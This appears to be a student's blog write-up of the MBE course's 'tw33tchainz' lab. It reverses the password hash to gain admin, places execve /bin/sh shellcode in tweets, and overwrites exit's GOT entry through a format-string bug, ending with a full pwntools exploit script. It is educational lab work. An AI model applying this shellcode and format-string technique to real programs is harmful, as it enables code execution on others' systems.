Below is my analysis and exploitation of project1 from the MBE course! This was a really cool challenge and I enjoyed writing an exploit and applying the skills I’ve learned in the previous labs! In addition, I was able to try out an awesome new reverse engineering tool: GHIDRA! I’ll talk about it below, after which follows my writeup.

GHIDRA

This tool is awesome, and does everything I’ve been wishing the free version of ida did. It is super cusomizable, and has undo! Ghidra’s other big selling point is it allows for multiple users to work on reverse engineering a big project together and has built in source control for this as well! I’ve gone through the first introduction course to become familiar with the tool in the links below: cheat sheet overview official courses

WriteUP

Below the argv and env are being cleared in the beginning.

Here the password is generated from reading 16 bytes from /dev/urandom:

Unfortunately, this means the secretpass will change with every execution.

Here the user and salt are generated each with 16 bytes of user input:

The spots of memory not filled in by the input are set to 0xBA and 0xCC for the salt and user respectively.

Finally the password is generated in the functionhash and printed to the screen.

Next lets see how the password is “hashed”: Here the output password is generated through a hash function in accordance with the following python code:

1
2
3
_hash = ""
for u,s,p in zip(username, salt, secretpass):
    _hash += (s+p) ^ u

In order to get the original password, this process just needs to be reversed!

Following that the print_menu function is called. Below is an excerpt from the assembly and there is a direct variable input into printf, meaning a format string vulnerability exists and I can get arbitrary read/write access! This variable is the address of tweet_tail, the linked list of tweets that is initialized and created further down. If I can load a format string exploit into the tweet memory space, I’m golden. Unfortunately, the vulnerability requires administration privileges, which requires the is_admin variable to be set! I need to figure out how I can get admin priviliges.That is done further in the analysis.

Next the program proceeds to a jump table and the user is presented with 6 choices and 6 corresponding functions. the choice is made by inputting a single uint.

The first option is the do_tweet function: Here the program allocates space for the tweet and takes in 16 bytes of user input for the new tweet.

After the input is saved to the variable the first instance of a newline in the tweet is replaced with 0xcc. If there is no newline, this doesn’t happen. Finally, the tweet is copied into the allocated space in the linked list of tweets and the temporary user input is freed.

Looks like I’ll be relegated to only 16 bytes of user input for the format string exploit.

The next option is the view_chainz function. This function loops through the linked list and prints out each tweet, using the print_tweet funciton. The important functionality from this is that there is a special debug mode:

This will let me print out the address of each tweet! Seems like a great place to store shellcode! The only issue is that the addresses are not guaranteed to be together, so I’ll see if I can fit 16 bytes of shellcode. I need to check the permissions really quick to see if DEP is enabled:

Nope, looks like I’m good, and there is only partial RELRO, so I can override the plt to a libc function with the address of my shellcode! I only need to determine the function!

The next option is maybe_admin. Aha! Looks like I’ve found the way to get admin privileges! The maybe_admin asks me for 17 bytes (16 bytes to include secretpass, the last to add a null byte on the end), and if the 16 bytes match secretpass it sets is_admin!

It took a bit of debugging, but I was able to write the following python code to get the proper secretpass from the input of username, salt, and output “hash” secret pass. I setup the actual username and password as they would exist in memory when hashing. Then, reverse te process of generating the passowrd. Once thats done, I submit the password using pwntools to write the process!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#setup
#fgets grabs string + newline + NULL
user = "admin"
salt = "pass"

p = process("tw33tchainz")

p.recvuntil("Username:")
p.sendline(user)

p.recvuntil("Salt:")
p.sendline(salt)

#get passowrd
p.recvuntil("Password:")

#-----------------#
# GRAB PASSWORD   #
#-----------------#
p.recvline()
password = p.recvline().rstrip()
#print "password: " + password

#setup rest of missing vals
salt += "\x0a"+"\x00"
salt += "\xba"*(16-len(salt))

user += "\x0a"+"\x00"
user += "\xcc"*(16-len(user))

#split into values
#output in big endian
password = ["0x"+password[i:i + 8] for i in range(0, len(password), 8)]
_hash = ""

#actual pass in memory
for x in password:
    _hash += p32(int(x,16), endian="little")

#get password
secret = ""
for h,u,s in zip(_hash, user, salt):
    a = (ord(h) ^ ord(u)) - ord(s)
    #round if negative
    if a < 0:
        a += 0x100
    secret += chr(a)

#helper func
def choice(x):
    p.sendline(" ")
    p.recvuntil("Choice:")
    p.sendline(x)

#input password
choice('3')
p.recvuntil("password: ")
p.sendline(secret)
print p.recvline()

The last two options are print_exit and code to set debug_mode on or off only if is_admin is set! Debug mode is what prints out the addresses in print_tweet.

Print_exit seems like it could be a good choice for overriding in the got. I can override the entry for libc’s exit function. Just to check lets make sure exit is only called here:

Yup exit is only called if the program terminates prematurely in a segfault or at the beginning during secretpass generation.

Allright! so now that I have admin access from above the next step is to build and send the shellcode to the program. This is easily done with pwntools and python. I printed out the shellcode length to be sure it fit in the 16 bytes of a tweet, and it did! I filled in the rest of the tweet with null bytes.

The trick here to make the shellcode so small was finding a string to /bin/sh inside the memory space of tw33tchainz, which was done with peda:

Below is the python code to send the shellcode:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#-----------------#
# SETUP SHELLCODE #
#-----------------#

#NOW AUTHENTICATED!
#shellcode
#/bin/sh: 0xf7f598cf
instr =  " xor ecx, ecx; \
         xor edx, edx; \
         xor eax, eax; \
        mov ebx, 0xf7f598cf; \
        mov al, 0xb; \
        int 0x80; "

shell = asm(instr)
print (len(shell))

#write all bytes of shell
for i in range(len(shell)):
    if i%16 == 0:
        choice('1')
        p.recvuntil("bytes): ")
    p.send(shell[i])
p.send("\x00"*(16- i))

#get rid of lopping text
p.sendline(" ")

#grab start of shellcode
choice('6')
choice('2')
shell_addr = p.recvline().rstrip().split()[-1]
shell_addr = int(shell_addr,16)
print hex(shell_addr)

Last but not least comes the time to setup the format strings and override the address of exit! Using objdump to dump out the relocation addresses:

Allright the next step is to build the format string to override exits address (0804d03c) with the address of the shellcode 0x804f170, which was aquired in the previous step.

The fist step is to determine the parameter number that holds the address that will be written with using %n. A quick for loop did the trick! The 8th parameter will hold the address to be overridden (i.e. exit), but it was offset like in the last lab, so I needed to add an extra byte to fix it!

1
2
3
4
5
6
7
for i in range(20):
    print("Choice: "+str(i)+"\n")
    choice('1')
    p.recvuntil("bytes): ")
    p.send("XAAAA%"+str(i)+"$x")
    #get rid of lopping text
    p.sendline(" ")

Next,I need to build the strings to override the address with the address of the shellcode! I tried using my short_writes code from before in lab4, and ran into an issue that took a while to figure out! The first short write was too long (17 bytes!)

I was greeted with this guy, since I was only writing half the correct address. The sigsegfault handler was overridden to print out this message:

This ended up being the only short write that mattered, since I realized the shellcode address and exit’s address share the same 4 most significant bytes (0x0804)! That means I’ll only need to overwrite the lower two bytes!

So I decided to relook at the possible format strings and saw that hh will let me write one byte at a time!

Then all I had to do was some quick math to send the appropriate number of offset bytes, when the format string is printed! Below is the python code that sends the final format string payload. I had to print the menu one last time, so that the format string was printed to the screen in print_menu. That also meant debug_mode had to be on, which is already done earlier in the script in the shellcode section.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#-----------------#
# EXPLOIT FORMAT  #
#-----------------#

#address of exit
#objdump -R tw33tchainz
over_addr = 0x0804d03c 

#get addr to overwrite
over_addr_1 = p32(over_addr)
over_addr_2 = p32(over_addr+1)

#build payload
# only need to override first 4 bytes, last 4 the same
param = 8
first_2 = (shell_addr & 0xff) - 5
second_2 = ((shell_addr & 0xffff) >> 8)  - 5 


payload_1 =  "A"+over_addr_1+"%"+str(first_2)+"x%"+str(param)+"$hhn"
print(len(payload_1))
print binascii.hexlify(payload_1)

payload_2 =  "A"+over_addr_2+"%"+str(second_2)+"x%"+str(param)+"$hhn"
print(len(payload_2))
print binascii.hexlify(payload_2)

#attach gdb
#context.log_level = 'debug'

#send payloads
choice('1')
p.recvuntil("bytes): ")
p.sendline(payload_1)
p.sendline(" ")

choice('1')
p.recvuntil("bytes): ")
p.sendline(payload_2)
p.sendline(" ")

choice('1')
p.recvuntil("bytes): ")
p.sendline("test")

Finally, I can now exit the program and get a shell!!

EXPLOIT:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
from pwn import *
import binascii

#set proper context
context(arch='i386', os='linux',endian='little', word_size=32)

#setup
#fgets grabs string + newline + NULL
user = "admin"
salt = "pass"

p = process("tw33tchainz")

p.recvuntil("Username:")
p.sendline(user)

p.recvuntil("Salt:")
p.sendline(salt)

#get passowrd
p.recvuntil("Password:")

#-----------------#
# GRAB PASSWORD   #
#-----------------#
p.recvline()
password = p.recvline().rstrip()
#print "password: " + password

#setup rest of missing vals
salt += "\x0a"+"\x00"
salt += "\xba"*(16-len(salt))

user += "\x0a"+"\x00"
user += "\xcc"*(16-len(user))

#split into values
#output in big endian
password = ["0x"+password[i:i + 8] for i in range(0, len(password), 8)]
_hash = ""

#actual pass in memory
for x in password:
    _hash += p32(int(x,16), endian="little")

#get password
secret = ""
for h,u,s in zip(_hash, user, salt):
    a = (ord(h) ^ ord(u)) - ord(s)
    #round if negative
    if a < 0:
        a += 0x100
    secret += chr(a)

#helper func
def choice(x):
    p.sendline(" ")
    p.recvuntil("Choice:")
    p.sendline(x)

#input password
choice('3')
p.recvuntil("password: ")
p.sendline(secret)
print p.recvline()

#-----------------#
# SETUP SHELLCODE #
#-----------------#

#NOW AUTHENTICATED!
#shellcode
#/bin/sh: 0xf7f598cf
instr =  " xor ecx, ecx; \
         xor edx, edx; \
         xor eax, eax; \
        mov ebx, 0xf7f598cf; \
        mov al, 0xb; \
        int 0x80; "

shell = asm(instr)
print (len(shell))

#write all bytes of shell
for i in range(len(shell)):
    if i%16 == 0:
        choice('1')
        p.recvuntil("bytes): ")
    p.send(shell[i])
p.send("\x00"*(16- i))

#get rid of lopping text
p.sendline(" ")

#grab start of shellcode
choice('6')
choice('2')
shell_addr = p.recvline().rstrip().split()[-1]
shell_addr = int(shell_addr,16)
print hex(shell_addr)



"""
for i in range(20):
    print("Choice: "+str(i)+"\n")
    choice('1')
    p.recvuntil("bytes): ")
    p.send("XAAAA%"+str(i)+"$x")
    #get rid of lopping text
    p.sendline(" ")
"""

#-----------------#
# EXPLOIT FORMAT  #
#-----------------#

#address of exit
#objdump -R tw33tchainz
over_addr = 0x0804d03c 

#get addr to overwrite
over_addr_1 = p32(over_addr)
over_addr_2 = p32(over_addr+1)

#build payload
# only need to override first 4 bytes, last 4 the same
param = 8
first_2 = (shell_addr & 0xff) - 5
second_2 = ((shell_addr & 0xffff) >> 8)  - 5 


payload_1 =  "A"+over_addr_1+"%"+str(first_2)+"x%"+str(param)+"$hhn"
print(len(payload_1))
print binascii.hexlify(payload_1)

payload_2 =  "A"+over_addr_2+"%"+str(second_2)+"x%"+str(param)+"$hhn"
print(len(payload_2))
print binascii.hexlify(payload_2)

#attach gdb
#context.log_level = 'debug'

#send payloads
choice('1')
p.recvuntil("bytes): ")
p.sendline(payload_1)
p.sendline(" ")

choice('1')
p.recvuntil("bytes): ")
p.sendline(payload_2)
p.sendline(" ")

choice('1')
p.recvuntil("bytes): ")
p.sendline("test")

#pause()

#exit and get shell
choice('5')
p.interactive()